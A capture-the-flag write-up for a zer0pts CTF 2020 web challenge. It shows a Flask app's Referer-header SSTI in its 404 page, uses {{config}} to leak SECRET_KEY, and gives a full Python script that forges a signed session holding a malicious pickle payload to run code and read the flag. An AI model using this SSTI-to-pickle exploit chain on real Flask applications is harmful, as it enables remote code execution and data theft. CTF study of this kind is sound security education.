zer0pts CTF
, zer0pts CTF 2020
, web
As you can see from app.py
, there is a Server-Side Template Injection (SSTI) vulnerability via Referer
header in 404 page.
@app.errorhandler(404)
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")
if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'
html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
return flask.render_template_string(html), 404
In Flask, SSTI can easily be led to arbitrary code execution like this article. However, Referer
header is checked with valid_url
function that checks if the URL starts with its host and the length of the path is shorter than 16 chars.
def valid_url(url):
""" Check if given url is valid """
host = flask.request.host_url
if not url.startswith(host): return False # Not from my server
if len(url) - len(host) > 16: return False # Referer may be also 404
return True
So, with this SSTI vulnerability, you can do limited things like exfiltrating SECRET_KEY
, which is used to sign and verify client session data, with {{config}}
.
$ curl http://3.112.201.75:8001/404 -H "Referer: http://3.112.201.75:8001/{{config}}"
<html><head><meta http-equiv="Refresh" content="3;URL=http://3.112.201.75:8001/<Config {… 'SECRET_KEY': b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I', …
Anyway, it's useful to tamper sessions. In this app, session is used for storing notes, which is serialized with pickle
.
@app.route('/new', methods=['GET'])
def new():
""" Create a new note """
data = load()
data.append({"date": now(), "text": "", "title": "*New Note*"})
flask.session['savedata'] = base64.b64encode(pickle.dumps(data))
return flask.redirect('/note/' + str(len(data) - 1))
def load():
""" Load saved notes """
try:
savedata = flask.session.get('savedata', None)
data = pickle.loads(base64.b64decode(savedata))
except:
data = [{"date": now(), "text": "", "title": "*New Note*"}]
return data
As noted in the official document, pickle
module is not secure to load untrusted data and can be led to arbitrary code execution.
While referring to past challenge, let's write an exploit that retrieves SECRET_KEY
, sign payload with obtained SECRET_KEY
, and send request with tampered session.
import base64
import html
import re
import requests
import flask.sessions
HOST = 'http://3.112.201.75:8001/'
class App(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def sign(secret_key, data):
app = App(secret_key)
si = flask.sessions.SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(data)
r = requests.get(HOST + '404', headers={
'Referer': HOST + '{{config}}'
})
r = html.unescape(r.content.decode())
secret_key = eval(re.findall(r"'SECRET_KEY': (b'.+?')", r)[0])
print('secret_key:', secret_key)
code = b"c__builtin__\neval\n(S'open(\\'/home/web/flag\\').read()'\ntR"
sig = sign(secret_key, {'savedata': base64.b64encode(b"(lp0\n(dp1\nS'date'\np2\nI0\nsS'text'\np3\nS''\np4\nsS'title'\np5\n" + code + b"p6\nsa.")})
r = requests.get(HOST, cookies={
'session': sig
})
print(re.findall(rb'(zer0pts\{.+\})', r.content)[0])
$ python solve.py
secret_key: b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
b'zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}'